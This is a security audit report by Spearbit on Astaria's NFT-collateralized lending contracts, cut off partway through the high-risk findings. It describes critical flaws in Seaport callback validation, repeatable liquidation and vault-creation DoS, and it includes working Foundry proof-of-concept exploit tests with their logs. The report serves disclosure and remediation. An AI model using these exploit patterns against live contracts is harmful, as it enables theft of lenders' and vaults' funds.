Astaria Security Review

Auditors

Saw-Mon and Natalie, Lead Security Researcher

Jonah1005, Lead Security Researcher

Blockdev, Security Researcher

Report prepared by: Pablo Misirov

August 20, 2023

Contents

1 About Spearbit

Spearbit is a decentralized network of expert security engineers offering reviews and other security related services to Web3 projects with the goal of creating a stronger ecosystem. Our network has experience on every part of the blockchain technology stack, including but not limited to protocol design, smart contracts and the Solidity compiler. Spearbit brings in untapped security talent by enabling expert freelance auditors seeking flexibility to work on interesting projects together.

Learn more about us at spearbit.com

2 Introduction

Astaria is a NFT Collateralized Lending Market leveraging a novel 3AM Model.

Disclaimer: This security review does not guarantee against a hack. It is a snapshot in time of astaria-core and astaria-GPL according to the specific commit. Any modifications to the code will require a new security review.

3 Risk classification

Severity level	**Impact: High**	**Impact: Medium**	**Impact: Low**
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

3.1 Impact

- High - leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
- Medium - global losses <10% or losses to only a subset of users, but still unacceptable.
- Low - losses will be annoying but bearable--applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.

3.2 Likelihood

- High - almost certain to happen, easy to perform, or not easy but highly incentivized
- Medium - only conditionally possible or incentivized, but still relatively likely
- Low - requires stars to align, or little-to-no incentive

3.3 Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

4 Executive Summary

Over the course of 15 days in total, Astaria engaged with Spearbit to review the astaria-core protocol. In this period of time a total of **77** issues were found.

Summary

Project Name	Astaria
Repository	astaria-core
Commit	b9d76c...385a4
Type of Project	Borrowing/Lending, NFT
Audit Timeline	July 5 to July 25
Two week fix period	July 25 - August 8

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	2	2	0
High Risk	4	2	0
Medium Risk	13	5	1
Low Risk	15	6	1
Gas Optimizations	10	0	0
Informational	33	0	0
Total	**77**	**15**	**2**

5 Findings

5.1 Critical Risk

5.1.1 The extra data (encoded `stack`) provided to advanced orders to `Seaport` are not validated properly by the `CollateralToken` upon callback

Severity: Critical Risk

Context:

- CollateralToken.sol#L125
- CollateralToken.sol#L145-L148
- CollateralToken.sol#L150-L152
- CollateralToken.sol#L175

Description: The extra data (encoded `stack`) provided to advanced orders to `Seaport` are not validated properly by the `CollateralToken` upon callback when `validateOrder(...)` order is called by `Seaport`.

When a `stack`/`lien` gets liquidated an auction is created on `Seaport` with the `offerer` and `zone` set as the `CollateralToken` and the order type is full restricted so that the aforementioned call back is performed at the end of fulfilment/matching orders on `Seaport`. An extra piece of information which needs to be provided by the fulfiller or matcher on `Seaport` is the extra data which is the encoded `stack`. The only validation that happens during the call back is the following to make sure that the 1st consideration's token matches with the decoded `stack`'s `lien`'s token:

```
ERC20 paymentToken = ERC20(zoneParameters.consideration[0].token);
if (address(paymentToken) != stack.lien.token) {
   revert InvalidPaymentToken();
}
```

Besides that one does not check that this stack corresponds to the same `collateralId` with the same lien id. So a bidder on `Seaport` can take advantage of this and provide a spoofed extra data as follows:

1. The borrower collateralises its NFT token and takes a lien from a public vault
2. The lien expires and a liquidator calls `liquidate(...)` for the corresponding `stack`.
3. The bidder creates a private vault and deposits `1 wei` worth of `WETH` into it.
4. The bidder collateralises a fake NFT token and takes a lien with `1 wei` worth of `WETH` as a loan
5. The bidder provides the encoded fake stack from the step 4 as an extra data to settle the auction for the real liquidated lien from step 2 on `Seaport`.

The net result from these steps are that

- The original NFT token will be owned by the bidder.
- The change in the sum of the `ETH` and `WETH` balances of the borrower, liquidator and the bidder would be the original borrowed amount from step 1. (might be off by a few `wei` due to division errors when calculating the liquidator fees).
- The original public vault would not receive its loan amount from the borrower or the auction amount the `Seaport` liquidation auction.

If the borrower, the liquidator and the bidder were the same, this entity would end up with its original NFT token plus the loaned amount from the original public vault.

If the liquidator and the bidder were the same, the bidder would end up with the original NFT token and might have to pay around `1 wei` due to division errors. The borrower gets to keep its loan. The public vault would not receive the loan or any portion of the amount settled in the liquidation auction.

The following diff in the test contracts is needed for the PoC to work:

```
diff --git a/src/test/TestHelpers.t.sol b/src/test/TestHelpers.t.sol
index fab5fbd..5c9bfc8 100644
--- a/src/test/TestHelpers.t.sol
+++ b/src/test/TestHelpers.t.sol
@@ -163,7 +163,6 @@ contract ConsiderationTester is BaseSeaportTest, AmountDeriver {
     vm.label(address(this), "testContract");
   }
 }
-
 contract TestHelpers is Deploy, ConsiderationTester {
   using CollateralLookup for address;
   using Strings2 for bytes;
@@ -1608,7 +1607,7 @@ contract TestHelpers is Deploy, ConsiderationTester {
         orders,
         new CriteriaResolver[](0),
         fulfillments,
-        address(this)
+        incomingBidder.bidder
       );
     } else {
       consideration.fulfillAdvancedOrder(
@@ -1621,7 +1620,7 @@ contract TestHelpers is Deploy, ConsiderationTester {
         ),
         new CriteriaResolver[](0),
         bidderConduits[incomingBidder.bidder].conduitKey,
-        address(this)
+        incomingBidder.bidder
       );
     }
     delete fulfillments;
```

The PoC:

`forge t --mt testScenario9 --ffi -vvv`

```
// add the following test case to
// file: src/test/LienTokenSettlementScenarioTest.t.sol

    // Scenario 8: commitToLien -> liquidate -> settle Seaport auction with mismtaching stack as an
    ↪  extraData
  function testScenario9() public {
    TestNFT nft = new TestNFT(1);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    vm.label(address(this), "borrowerContract");
    {
      // create a PublicVault with a 14-day epoch
      address publicVault = _createPublicVault(
        strategistOne,
        strategistTwo,
        14 days,
        1e17
      );

      vm.label(publicVault, "Public Vault");

      // lend 10 ether to the PublicVault as address(1)
      _lendToVault(
        Lender({addr: address(1), amountToLend: 10 ether}),
        payable(publicVault)
```

```
    );

    emit log_named_uint("Public vault WETH balance before commiting to a lien",
    ↪  WETH9.balanceOf(publicVault));
    emit log_named_uint("borrower ETH balance before commiting to a lien", address(this).balance);
    emit log_named_uint("borrower WETH balance before commiting to a lien",
    ↪  WETH9.balanceOf(address(this)));

    // borrow 10 eth against the dummy NFT with tokenId 0
    (, ILienToken.Stack memory stack) = _commitToLien({
      vault: payable(publicVault),
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: ILienToken.Details({
        maxAmount: 50 ether,
        rate: (uint256(1e16) * 150) / (365 days),
        duration: 10 days,
        maxPotentialDebt: 0 ether,
        liquidationInitialAsk: 100 ether
      }),
      amount: 10 ether
    });

    assertEq(
      nft.ownerOf(tokenId),
      address(COLLATERAL_TOKEN),
      "The bidder did not receive the collateral token after the auction end."
    );

    emit log_named_uint("Public vault WETH balance after commiting to a lien",
    ↪  WETH9.balanceOf(publicVault));
    emit log_named_address("NFT token owner", nft.ownerOf(tokenId));
    emit log_named_uint("borrower ETH balance after commiting to a lien", address(this).balance);
    emit log_named_uint("borrower WETH balance after commiting to a lien",
    ↪  WETH9.balanceOf(address(this)));

    uint256 collateralId = tokenContract.computeId(tokenId);

    // verify the strategist has no shares minted
    assertEq(
      PublicVault(payable(publicVault)).balanceOf(strategistOne),
      0,
      "Strategist has incorrect share balance"
    );

    // verify that the borrower has the CollateralTokens
    assertEq(
      COLLATERAL_TOKEN.ownerOf(collateralId),
      address(this),
      "CollateralToken not minted to borrower"
    );

    // fast forward to the end of the lien one
    vm.warp(block.timestamp + 10 days);

    address liquidatorOne = vm.addr(0x1195da7051);
    vm.label(liquidatorOne, "liquidator 1");

    // liquidate the lien
    vm.startPrank(liquidatorOne);
```

```
emit log_named_uint("liquidator WETH balance before liquidation", WETH9.balanceOf(liquidatorOne));
OrderParameters memory listedOrder = _liquidate(stack);
vm.stopPrank();

assertEq(
  LIEN_TOKEN.getAuctionLiquidator(collateralId),
  liquidatorOne,
  "liquidator is not stored in s.collateralLiquidator[collateralId]"
);

// --- start of the attack ---
vm.label(bidder, "bidder");

vm.startPrank(bidder);
TestNFT fakeNFT = new TestNFT(1);
address fakeTokenContract = address(fakeNFT);
uint256 fakeTokenId = uint256(0);
vm.stopPrank();

address privateVault = _createPrivateVault(
  bidder,
  bidder
);

vm.label(privateVault, "Fake Private Vault");

_lendToPrivateVault(
  PrivateLender({
    addr: bidder,
    amountToLend: 1 wei,
    token: address(WETH9)
  }),
  payable(privateVault)
);

vm.startPrank(bidder);
// it is important that the fakeStack.lien.token is the same as the original stack's token
// below deals 1 wei to the bidder which is also the fakeStack borrower
(, ILienToken.Stack memory fakeStack) = _commitToLien({
  vault: payable(privateVault),
  strategist: bidder,
  strategistPK: bidderPK,
  tokenContract: fakeTokenContract,
  tokenId: fakeTokenId,
  lienDetails: ILienToken.Details({
    maxAmount: 1 wei,
    rate: 1, // needs to be non-zero
    duration: 1 hours, // s.minLoanDuration
    maxPotentialDebt: 0 ether,
    liquidationInitialAsk: 1 wei
  }),
  amount: 1 wei
});

emit log_named_uint("CollateralToken WETH balance before auction end",
↪  WETH9.balanceOf(address(COLLATERAL_TOKEN)));

// _bid deals 300 ether to the bidder
_bid(
  Bidder({bidder: bidder, bidderPK: bidderPK}),
  listedOrder, // order paramters created for the original stack during the liquidation
  100 ether, // stack.lien.details.liquidationInitialAsk
```

```
      fakeStack
    );

    emit log_named_uint("Public vault WETH balance after auction end", WETH9.balanceOf(publicVault));
    emit log_named_uint("borrower WETH balance after auction end", WETH9.balanceOf(address(this)));
    emit log_named_uint("liquidator WETH balance after auction end", WETH9.balanceOf(liquidatorOne));
    emit log_named_uint("bidder WETH balance after auction end", WETH9.balanceOf(bidder));
    emit log_named_uint("bidder ETH balance before commiting to a lien", address(bidder).balance);
    emit log_named_uint("CollateralToken WETH balance after auction end",
    ↪  WETH9.balanceOf(address(COLLATERAL_TOKEN)));
    emit log_named_address("bidder", bidder);
    emit log_named_address("owner of the original collateral after auction end",
    ↪  nft.ownerOf(tokenId));

    // _removeLien is not called for collateralId
    assertEq(
      LIEN_TOKEN.getAuctionLiquidator(collateralId),
      liquidatorOne,
      "_removeLien is called for collateralId"
    );

    // WETH balance of the public vault is still 0 even after the auction
    assertEq(
      WETH9.balanceOf(publicVault),
      0
    );
  }

  assertEq(
    nft.ownerOf(tokenId),
    bidder,
    "The bidder did not receive the collateral token after the auction end."
  );
}
```

Recommendation: In `validateOrder(...)` in the 1st `if` branch when `zoneParameters.offerer == address(this)` make sure

1. `stack.lien.collaterlId == collateralId` (`collateralId`)
2. It might be good to also check `LIEN_TOKEN.getCollateralState(collateralId) == keccak256(abi.encode(stack)) == keccak256(zoneParameters.extraData)`. But if 1. is satisfied this requirement will be checked in `makePayment(...)`

Astaria: Fixed in PR 334 below by checking `stack.lien.collaterlId == collateralId`.

Spearbit: Fixed.

5.1.2 `AstariaRouter.liquidate(...)` can be called multiple times for an expired lien/stack

Severity: Critical Risk

Context:

- AstariaRouter.sol#L681
- CollateralToken.sol#L530-L532
- LienToken.sol#L171-L174
- PublicVault.sol#L656-L661
- PublicVault.sol#L655

Description: The current implementation of the protocol does not have any safeguard around calling `AstariaRouter.liquidate(...)` only once for an expired stack/lien. Thus, when a lien expires, multiple adversaries can override many different parameters by calling this endpoint at will in the same block or different blocks till one of the created auctions settles (which might not as one can keep stacking these auctions with some delays to have a never-ending liquidation flow).

Here is the list of storage parameters that can be manipulated:

- `s.collateralLiquidator[stack.lien.collateralId].amountOwed` in `LienToken`: it is possible to keep increasing this value if we stack calls to the `liquidate(...)` with delays.
- `s.collateralLiquidator[stack.lien.collateralId].liquidator` in `LienToken`: This can be overwritten and would hold the last liquidator's address and so only this liquidator can claim the NFT if the auction its corresponding auction does not settle and also it would receive the liquidation fees.
- `s.idToUnderlying[params.collateralId].auctionHash` in `CollateralToken`: would hold the last created auction's order hash for the same expired lien backed by the same collateral.
- `slope` in `PublicVault`: If the lien is taken from a public vault, each call to `liquidate(...)` would reduce this value. So we can make this slope really small.
- `s.epochData[epoch].liensOpenForEpoch` in `PublicVault`: If the lien is taken from a public vault, each call to `liquidate(...)` would reduce this value. So we can make this slope really small or even `0` depends on the rate of this lien and the slope of the vault due to arithmetic underflows.
- `yIntercept` in `PublicVault`: Mixing the manipulation of the vault's slope and stacking the calls to `liquidate(...)` with delays we can also manipulate `yIntercept`.

```
// add the following test case to:
// file: src/test/LienTokenSettlementScenarioTest.t.sol

  function testScenario8() public {
    TestNFT nft = new TestNFT(2);
    address tokenContract = address(nft);
    uint256 tokenIdOne = uint256(0);
    uint256 tokenIdTwo = uint256(1);

    uint256 initialBalance = WETH9.balanceOf(address(this));

    // create a PublicVault with a 14-day epoch
    address publicVault = _createPublicVault(
      strategistOne,
      strategistTwo,
      14 days,
      1e17
    );

    // lend 20 ether to the PublicVault as address(1)
    _lendToVault(
      Lender({addr: address(1), amountToLend: 20 ether}),
      payable(publicVault)
    );

    uint256 vaultShares = PublicVault(payable(publicVault)).totalSupply();

    // borrow 10 eth against the dummy NFT with tokenId 0
    (, ILienToken.Stack memory stackOne) = _commitToLien({
      vault: payable(publicVault),
      strategist: strategistOne,
      strategistPK: strategistOnePK,
      tokenContract: tokenContract,
      tokenId: tokenIdOne,
      lienDetails: ILienToken.Details({
```

```
    maxAmount: 50 ether,
    rate: (uint256(1e16) * 150) / (365 days),
    duration: 10 days,
    maxPotentialDebt: 0 ether,
    liquidationInitialAsk: 100 ether
  }),
  amount: 10 ether
});

// borrow 10 eth against the dummy NFT with tokenId 1
(, ILienToken.Stack memory stackTwo) = _commitToLien({
  vault: payable(publicVault),
  strategist: strategistOne,
  strategistPK: strategistOnePK,
  tokenContract: tokenContract,
  tokenId: tokenIdTwo,
  lienDetails: ILienToken.Details({
    maxAmount: 50 ether,
    rate: (uint256(1e16) * 150) / (365 days),
    duration: 10 days,
    maxPotentialDebt: 0 ether,
    liquidationInitialAsk: 100 ether
  }),
  amount: 10 ether
});

uint256 collateralIdOne = tokenContract.computeId(tokenIdOne);
uint256 collateralIdTwo = tokenContract.computeId(tokenIdTwo);

// verify the strategist has no shares minted
assertEq(
  PublicVault(payable(publicVault)).balanceOf(strategistOne),
  0,
  "Strategist has incorrect share balance"
);

// verify that the borrower has the CollateralTokens
assertEq(
  COLLATERAL_TOKEN.ownerOf(collateralIdOne),
  address(this),
  "CollateralToken not minted to borrower"
);

assertEq(
  COLLATERAL_TOKEN.ownerOf(collateralIdTwo),
  address(this),
  "CollateralToken not minted to borrower"
);

// fast forward to the end of the lien one
vm.warp(block.timestamp + 10 days);

address liquidatorOne = vm.addr(0x1195da7051);
address liquidatorTwo = vm.addr(0x1195da7052);

vm.label(liquidatorOne, "liquidator 1");
vm.label(liquidatorTwo, "liquidator 2");

// liquidate the first lien
vm.startPrank(liquidatorOne);
OrderParameters memory listedOrder = _liquidate(stackOne);
vm.stopPrank();
```

```
    assertEq(
      LIEN_TOKEN.getAuctionLiquidator(collateralIdOne),
      liquidatorOne,
      "liquidator is not stored in s.collateralLiquidator[collateralId]"
    );

    // // liquidate the first lien with a different liquidator
    vm.startPrank(liquidatorTwo);
    listedOrder = _liquidate(stackOne);
    vm.stopPrank();

    assertEq(
      LIEN_TOKEN.getAuctionLiquidator(collateralIdOne),
      liquidatorTwo,
      "liquidator is not stored in s.collateralLiquidator[collateralId]"
    );


    // validate the slope is updated twice for the same expired lien
    // and so the accounting for the public vault is manipulated
    assertEq(
      PublicVault(payable(publicVault)).getSlope(),
      0,
      "PublicVault slope divergent"
    );

    // publicVault.storageSlot.epochData[epoch].liensOpenForEpoch is also dfecremented twice
    // CollateralToken.storageSlot.idToUnderlying[params.collateralId].auctionHash can also be
    ↪  manipulated
  }
```

Recommendation: When `AstariaRouter.liquidate(...)` is called make sure the expired lien/stack does not have any active liquidation auction before performing any actions. For example one can check the values of:

- `s.collateralLiquidator[stack.lien.collateralId].liquidator` or
- `s.idToUnderlying[params.collateralId].auctionHash`

Astaria: Fixed in PR 333 by checking `s.collateralLiquidator[stack.lien.collateralId].liquidator`.

Spearbit: Fixed.

5.2 High Risk

5.2.1 `maxStrategistFee` is incorrectly set in `AstariaRouter`'s constructor

Severity: High Risk

Context:

- AstariaRouter.sol#L111
- AstariaRouter.sol#L325-L329
- PublicVault.sol#L637-L641

Description: In `AstariaRouter`'s constructor we set the `maxStrategistFee` as

```
s.maxStrategistFee = uint256(50e17); // 5e18
```

But in the filing route we check that this value should not be greater than `1e18`.

`maxStrategistFee` is supposed to set an upper bound for public vaults's strategist vault fee. When a payment is made for a lien, one calculates the shares to be minted for the strategist based on this value and the interest amount paid:

```
function _handleStrategistInterestReward(
  VaultData storage s,
  uint256 interestPaid
) internal virtual {
  if (VAULT_FEE() != uint256(0) && interestPaid > 0) {
    uint256 fee = interestPaid.mulWadDown(VAULT_FEE());
    uint256 feeInShares = convertToShares(fee);
    _mint(owner(), feeInShares);
  }
}
```

Note that we are using `mulWadDown(...)` here:

$$F = \left\lfloor \frac{I \cdot f}{10^{18}} \right\rfloor$$

parameter	description
F	`fee`
f	`VAULT_FEE()`
I	`interestPaid`

so we would want $f \leq 10^{18}$. Currently, a vault could charge 5 times the interest paid.

Recommendation: Perhaps `s.maxStrategistFee` needed to be set as $0.5 \cdot 10^{18}$ and not $5 \cdot 10^{18}$

```
s.maxStrategistFee = uint256(5e17); // 0.5 x 1e18, maximum 50%
```

Astaria: Fixed in PR 336.

Spearbit: Fixed.

5.2.2 When a vault is shutdown a user can still commit to liens using the vault

Severity: High Risk

Context:

- AstariaRouter.sol#L864-L872
- VaultImplementation.sol#L142-L151
- VaultImplementation.sol#L61-L77
- VaultImplementation.sol#L153-L155

Description: When a vault is shutdown, one should not be able to take more liens using the funds from this vault. In the commit to lien flow, `AstariaRouter` fetches the state of the vault

```
(
  ,
  address delegate,
  address owner,
  ,
  , // s.isShutdown
  uint256 nonce,
  bytes32 domainSeparator
) = IVaultImplementation(c.lienRequest.strategy.vault).getState();
```

But does not use the `s.isShutdown` flag to stop the flow if it is set to `true`.

When a vault is shutdown we should have:

vault endpoint	reverts	should revert
`deposit`		YES
`mint`		YES
`redeem`		NO
`withdraw`		NO
`redeemFutureEpoch`		NO
payment flows		NO
liquidation flows		NO
`commitToLien`		YES

```
// add this test case to
// file: src/test/LienTokenSettlementScenarioTest.t.sol

  // Scenario 12: create vault > shutdown > commitToLien
  function testScenario12() public {
    {
      console2.log("--- test private vault shutdown ---");
      uint256 ownerPK = uint256(0xa77ac3);
      address owner = vm.addr(ownerPK);
      vm.label(owner, "owner");

      uint256 lienId;

      TestNFT nft = new TestNFT(1);
      address tokenContract = address(nft);
      uint256 tokenId = uint256(0);

      address privateVault = _createPrivateVault(owner, owner);
      vm.label(privateVault, "privateVault");
      console2.log("[+] private vault is created: %s", privateVault);

      // lend 1 wei to the privateVault
      _lendToPrivateVault(
        PrivateLender({addr: owner, amountToLend: 1 wei, token: address(WETH9)}),
        payable(privateVault)
      );

      console2.log("[+] lent 1 wei to the private vault.");

      console2.log("[+] shudown private vault.");
```

```
    vm.startPrank(owner);
    Vault(payable(privateVault)).shutdown();
    vm.stopPrank();

    assertEq(
      Vault(payable(privateVault)).getShutdown(),
      true,
      "Private Vault should be shutdown."
    );

    // borrow 1 wei against the dummy NFT
    (lienId, ) = _commitToLien({
      vault: payable(privateVault),
      strategist: owner,
      strategistPK: ownerPK,
      tokenContract: tokenContract,
      tokenId: tokenId,
      lienDetails: ILienToken.Details({
        maxAmount: 1 wei,
        rate: 1,
        duration: 1 hours,
        maxPotentialDebt: 0 ether,
        liquidationInitialAsk: 1 ether
      }),
      amount: 1 wei,
      revertMessage: ""
    });

    console2.log("[+] borrowed 1 wei against the private vault.");
    console2.log("       lienId: %s", lienId);
    console2.log("       owner of lienId: %s\n\n", LIEN_TOKEN.ownerOf(lienId));

    assertEq(
      LIEN_TOKEN.ownerOf(lienId),
      owner,
      "owner should be the owner of the lienId."
    );
  }

  {
    console2.log("--- test public vault shutdown ---");
    uint256 ownerPK = uint256(0xa77ac322);
    address owner = vm.addr(ownerPK);
    vm.label(owner, "owner");

    uint256 lienId;

    TestNFT nft = new TestNFT(1);
    address tokenContract = address(nft);
    uint256 tokenId = uint256(0);

    address publicVault = _createPublicVault(owner, owner, 14 days);
    vm.label(publicVault, "publicVault");
    console2.log("[+] public vault is created: %s", publicVault);

    // lend 1 wei to the publicVault
    _lendToVault(
      Lender({addr: owner, amountToLend: 1 ether}),
      payable(publicVault)
    );
```

```
      console2.log("[+] lent 1 ether to the public vault.");

      console2.log("[+] shudown public vault.");

      vm.startPrank(owner);
      Vault(payable(publicVault)).shutdown();
      vm.stopPrank();

      assertEq(
        Vault(payable(publicVault)).getShutdown(),
        true,
        "Public Vault should be shutdown."
      );

      // borrow 1 wei against the dummy NFT
      (lienId, ) = _commitToLien({
        vault: payable(publicVault),
        strategist: owner,
        strategistPK: ownerPK,
        tokenContract: tokenContract,
        tokenId: tokenId,
        lienDetails: ILienToken.Details({
          maxAmount: 1 wei,
          rate: 1,
          duration: 1 hours,
          maxPotentialDebt: 0 ether,
          liquidationInitialAsk: 1 ether
        }),
        amount: 1 wei,
        revertMessage: ""
      });

      console2.log("[+] borrowed 1 wei against the public vault.");
      console2.log("       lienId: %s", lienId);
      console2.log("       owner of lienId: %s", LIEN_TOKEN.ownerOf(lienId));

      assertEq(
        LIEN_TOKEN.ownerOf(lienId),
        publicVault,
        "Public vault should be the owner of the lienId."
      );
    }
  }
```

forge t --mt testScenario12 --ffi -vvv:

```
  --- test private vault shutdown ---
  [+] private vault is created: 0x7BF14E2ad40df80677D356099565a08011B72d66
  [+] lent 1 wei to the private vault.
  [+] shudown private vault.
  [+] borrowed 1 wei against the private vault.
        lienId: 781132266093869292376359374903449519663562147324320643081951180460232113259 84
        owner of lienId: 0x60873Bc6F2C9333b465F60e461cf548EfFc7E6EA


  --- test public vault shutdown ---
  [+] public vault is created: 0x5b1A54d097AA8Ce673b6816577752F6dfc10Ddd6
  [+] lent 1 ether to the public vault.
  [+] shudown public vault.
  [+] borrowed 1 wei against the public vault.
        lienId: 132171028007742632190741991591871081980902194202089604502753888348536836290 20
        owner of lienId: 0x5b1A54d097AA8Ce673b6816577752F6dfc10Ddd6
```

Recommendation: In `_executeCommitment(...)` use the `isShutdown` flag to revert committing to a vault that has been shutdown.

Astaria: Fixed in PR 335.

Spearbit: Fixed.

5.2.3 Vault creation can be DoSed by lien owners who can transfer their lien token to any address

Severity: High Risk

Context:

- AstariaRouter.sol#L778-L792
- AstariaRouter.sol#L794-L796
- Vault.sol#L53-L58

Description: When a vault is created, `AstoriaRouter` uses the `Create2ClonesWithImmutableArgs` library to created a clone with immutable arguments:

```
vaultAddr = Create2ClonesWithImmutableArgs.clone(
  s.BEACON_PROXY_IMPLEMENTATION,
  abi.encodePacked(
    address(this),
    vaultType,
    msg.sender,
    params.underlying,
    block.timestamp,
    params.epochLength,
    params.vaultFee,
    address(s.WETH)
  ),
  keccak256(abi.encodePacked(msg.sender, blockhash(block.number - 1)))
);
```

One caveat of this creation decision is that the to be deployed vault address can be derived beforehand.

Right after the creation of the vault, `AstariaRouter` checks whether the created vault owns any liens and if it does, it would revert:

```
if (s.LIEN_TOKEN.balanceOf(vaultAddr) > 0) {
  revert InvalidVaultState(IAstariaRouter.VaultState.CORRUPTED);
}
```

When liens are committed to, if the lien was taken from a private vault the private vault upon receiving the lien transfers the minted lien to the `owner` of the private vault:

```
ERC721(msg.sender).safeTransferFrom(
  address(this),
  owner(),
  tokenId,
  data
);
```

Combing all these facts a private vault's owner or any lien owners who can transfer their lien token to any address can DoS the vault creation process using the steps below:

1. Create a private vault (if already owning a lien jump to step 4.).
2. Deposit `1 wei` into the private vault.
3. Commit to a lien `1 wei` from the private vault.
4. The owner of the private vault front-runs and compute the to be deployed vault address and transfers its lien token to this address.
5. The vault creation process fails with `InvalidVaultState(IAstariaRouter.VaultState.CORRUPTED)`.

The cost of this attack would be `1 wei` plus the associated gas fees.

```
// add the following test case to
// file: src/test/LienTokenSettlementScenarioTest.t.sol

  // Scenario 11: commitToLien -> send lien to a to-be-deployed vault
  function testScenario11() public {
    uint256 attackerPK = uint256(0xa77ac3);
    address attacker = vm.addr(attackerPK);
    vm.label(attacker, "attacker");

    uint256 lienId;

    {
      TestNFT nft = new TestNFT(1);
      address tokenContract = address(nft);
      uint256 tokenId = uint256(0);



      address privateVault = _createPrivateVault(attacker, attacker);
      vm.label(privateVault, "privateVault");
      console2.log("[+] private vault is created: %s", privateVault);

      // lend 1 wei to the privateVault
      _lendToPrivateVault(
        PrivateLender({addr: attacker, amountToLend: 1 wei, token: address(WETH9)}),
        payable(privateVault)
      );

      console2.log("[+] lent 1 wei to the private vault.");

      // borrow 1 wei against the dummy NFT
      (lienId, ) = _commitToLien({
        vault: payable(privateVault),
        strategist: attacker,
        strategistPK: attackerPK,
        tokenContract: tokenContract,
        tokenId: tokenId,
        lienDetails: ILienToken.Details({
```

```
        maxAmount: 1 wei,
        rate: 1,
        duration: 1 hours,
        maxPotentialDebt: 0 ether,
        liquidationInitialAsk: 1 ether
      }),
      amount: 1 wei,
      revertMessage: ""
    });

    console2.log("[+] borrowed 1 wei against the private vault.");
    console2.log("       lienId: %s", lienId);
    console2.log("       owner of lienId: %s", LIEN_TOKEN.ownerOf(lienId));

    assertEq(
      LIEN_TOKEN.ownerOf(lienId),
      attacker,
      "attacker should be the owner of the lienId."
    );

  }

  address strategist = address(1);
  uint256 epochLength = 14 days;
  uint256 vaultFee = 1e17;

  {
    console2.log("[+] calculate the to-be-deployed public vault address.");

    bytes memory immutableData = abi.encodePacked(
      address(ASTARIA_ROUTER),
      uint8(1), // uint8(ImplementationType.PublicVault)
      strategist,
      address(WETH9),
      block.timestamp,
      epochLength,
      vaultFee,
      address(WETH9)
    );

    bytes32 salt = keccak256(abi.encodePacked(strategist, blockhash(block.number - 1)));
    address toBeDeployedPublicvault = Create2ClonesWithImmutableArgs.deriveAddress(
      address(ASTARIA_ROUTER),
      ASTARIA_ROUTER.BEACON_PROXY_IMPLEMENTATION(),
      immutableData,
      salt
    );

    console2.log("       toBeDeployedPublicvault address: %s", toBeDeployedPublicvault);

    vm.startPrank(attacker);
    LIEN_TOKEN.transferFrom(attacker, toBeDeployedPublicvault, lienId);
    vm.stopPrank();

    console2.log("[+] lien transfered to the toBeDeployedPublicvault.");

    assertEq(
      LIEN_TOKEN.ownerOf(lienId),
      toBeDeployedPublicvault,
      "The owner of the lienId should be the toBeDeployedPublicvault."
    );
```

```
      assertEq(
        LIEN_TOKEN.balanceOf(toBeDeployedPublicvault),
        1,
        "The lien balance of toBeDeployedPublicvault should be 1."
      );

    }


    // create a PublicVault
    vm.startPrank(strategist);

    vm.expectRevert(
      abi.encodeWithSelector(
        IAstariaRouter.InvalidVaultState.selector,
        IAstariaRouter.VaultState.CORRUPTED
      )
    );
    address publicVault = payable(
      ASTARIA_ROUTER.newPublicVault(
        epochLength, // epoch length in [7, 45] days
        strategist,
        address(WETH9),
        vaultFee, // not greater than 5e17
        false,
        new address[](0),
        uint256(0)
      )
    );
    vm.stopPrank();

    console2.log("[+] Public vault creation fails with InvalidVaultState(VaultState.CORRUPTED).");
  }
```

forge t --mt testScenario11 --ffi -vvv:

```
Logs:
  [+] private vault is created: 0x7BF14E2ad40df80677D356099565a08011B72d66
  [+] lent 1 wei to the private vault.
  [+] borrowed 1 wei against the private vault.
        lienId: 781132266093869292376359374903449519663562147324320643081951180460232113259 84
        owner of lienId: 0x60873Bc6F2C9333b465F60e461cf548EfFc7E6EA
  [+] calculate the to-be-deployed public vault address.
        toBeDeployedPublicvault address: 0xe9B9495b2A6b71A871b981A5Effa56575f872A31
  [+] lien transfered to the toBeDeployedPublicvault.
  [+] Public vault creation fails with InvalidVaultState(VaultState.CORRUPTED).
```

This issue was introduced in commit 04c6ea.

```
diff --git a/src/AstariaRouter.sol b/src/AstariaRouter.sol
index cfa76f1..bd18a84 100644
--- a/src/AstariaRouter.sol
+++ b/src/AstariaRouter.sol
@@ -20,10 +20,9 @@ import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol";
 import {ERC721} from "solmate/tokens/ERC721.sol";
 import {ITransferProxy} from "core/interfaces/ITransferProxy.sol";
 import {SafeCastLib} from "gpl/utils/SafeCastLib.sol";
-
 import {
-  ClonesWithImmutableArgs
-} from "clones-with-immutable-args/ClonesWithImmutableArgs.sol";
+  Create2ClonesWithImmutableArgs
```

```
+} from "create2-clones-with-immutable-args/Create2ClonesWithImmutableArgs.sol";

 import {CollateralLookup} from "core/libraries/CollateralLookup.sol";

@@ -721,7 +720,7 @@ contract AstariaRouter is
     }

     //immutable data
-    vaultAddr = ClonesWithImmutableArgs.clone(
+    vaultAddr = Create2ClonesWithImmutableArgs.clone(
       s.BEACON_PROXY_IMPLEMENTATION,
       abi.encodePacked(
         address(this),
@@ -731,9 +730,13 @@ contract AstariaRouter is
         block.timestamp,
         epochLength,
         vaultFee
-      )
+      ),
+      keccak256(abi.encode(msg.sender, blockhash(block.number - 1)))
     );

+    if (s.LIEN_TOKEN.balanceOf(vaultAddr) > 0) {
+      revert InvalidVaultState(IAstariaRouter.VaultState.CORRUPTED);
+    }
     //mutable data
     IVaultImplementation(vaultAddr).init(
       IVaultImplementation.InitParams({
```

To address two of the finding from the `Code4rena` audit:

- code-423n4/2023-01-astaria-findings/issues/246.
- code-423n4/2023-01-astaria-findings/issues/571.

5.2.4 `WithdrawProxy` funds can be locked

Severity: High Risk

Context:

- WithdrawProxy.sol#L291-L293
- WithdrawProxy.sol#L329
- WithdrawProxy.sol#L383
- PublicVault.sol#L349

Description: If flash liens are allowed by a public vault, one call lockup the to be redeemed funds of a `WithdrawProxy` by sandwiching a call to `processEpoch()`.

This attack goes as follows:

